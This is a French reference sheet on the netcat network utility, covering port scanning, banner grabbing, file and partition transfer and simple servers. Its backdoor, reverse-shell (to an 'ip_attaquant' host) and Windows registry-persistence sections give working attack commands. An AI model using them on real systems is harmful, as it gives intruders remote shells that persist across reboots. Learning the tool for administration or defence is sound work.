Netcat
| Fiche express | |
|---|---|
| Type | Couteau suisse réseau TCP/UDP |
| Commande | nc, netcat
|
| Plateforme | Linux, Windows, BSD |
| Usages | Backdoor, scan de ports, transfert, MITM, backup |
| Voir aussi | Cryptcat · ICMPSH |
netcat (commande nc) est un utilitaire réseau universel qui lit et écrit des données à travers des connexions TCP ou UDP. Surnommé le « couteau suisse » du réseau, il peut agir comme :
- client : il se connecte à un serveur distant ;
- serveur : il se met en écoute de connexions clientes.
Il sert aussi bien au diagnostic réseau qu'à des usages offensifs : ouverture de portes dérobées (backdoor), scan de ports, récupération de bannières, transfert de fichiers ou de partitions.
Attention : il faut être root pour ouvrir un serveur sur un port privilégié (1 à 1023).
Installation
apt-get install netcat
Écoute et connexion de base
# Ouvrir le port 1234 en écoute (TCP)
nc -l -p 1234
# Ouvrir le port 1234 en UDP
nc -l -u -p 1234
# Se connecter au serveur (timeout 1 s)
nc -w 1 localhost 1234
# Tester si un port répond en UDP
nc -vzu 127.0.0.1 1234
Backdoor (shell distant)
Ouvrir un shell sur le port 1234 (porte dérobée) :
nc -nvv -l -p 1234 -e /bin/sh
Pour rendre l'écoute permanente (relancée après chaque déconnexion) :
while true; do nc -nvv -l -p 1234 -e /bin/sh; done
Reverse shell (« reverse telnet ») — la cible se connecte vers la machine de l'attaquant, ce qui contourne souvent le filtrage entrant :
# côté attaquant (écoute)
nc -l -p 666
# côté cible
nc ip_attaquant 666 -e /bin/bash
Sous Windows, le shell renvoyé est cmd.exe :
nc -L -p 10000 -e cmd.exe
Scan de ports
nc -vv -i 3000 -r -z ip_du_serveur 22 63 80-443 2222
-r: test dans un ordre aléatoire-i: intervalle entre les tentatives (ms)-v: verbeux-z: scan « zéro I/O », ne s'arrête pas sur port ouvert
Variante :
netcat -vv -r -z 10.100.25.2 1-100
Récupérer une bannière
nc -v -n ip_du_serveur 80
GET / HTTP/1.1
Émuler un client telnet
netcat -t ip_serveur_telnet 23
Serveur / client entre OS
Serveur Linux, client Windows :
# Linux
nc -l -p 1234
# Windows
nc -v ip_linux 1234
Serveur Windows, client Linux :
nc.exe -d -l -p 1234 -e "c:\windows\system32\cmd.exe"
nc -v ip_windows 1234
Sauvegarde de partition via netcat
Sur la machine distante (réception, mode écoute) :
netcat -l -p 10000 > image.gz
Sur la machine source, lire la partition, la compresser et l'envoyer :
dd if=/dev/hda1 | gzip | netcat -w 5 remote_ip 10000
Micro-serveur HTTP
while true; do nc -l -p 8080 < index.html; done
while true; do echo "<pre>$(ps aux)</pre>" | nc -l 8080; done
Persistance Windows (registre)
Ajout d'une entrée Run qui relance netcat au démarrage en reverse shell (IP privée d'exemple) :
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d "c:\windows\system32\nc.exe 192.168.1.2 443 -d -e cmd.exe"
reg queryval -k HKLM\software\microsoft\windows\currentversion\run -v nc